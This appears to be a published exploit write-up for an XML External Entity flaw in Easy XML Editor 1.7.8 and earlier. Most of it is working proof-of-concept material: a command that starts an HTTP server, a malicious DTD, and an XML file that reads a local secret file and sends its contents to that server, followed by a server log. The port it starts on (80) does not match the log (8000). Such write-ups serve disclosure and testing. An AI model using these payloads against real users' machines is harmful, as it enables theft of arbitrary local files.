# 1. Technical Description
# Easy XML Editor version 1.7.8 and before are affected by XML External Entity Injection vulnerability
# through the malicious XML file. This allows a malicious user to read arbitrary files.
 
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection.

python -m SimpleHTTPServer 80

# 2.2 Upload the payload.dtd file to your web server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

# 2.3 Create a SECRET.TXT file with any content in desktop.

# 2.4 Open poc.xml

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\<USER>\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
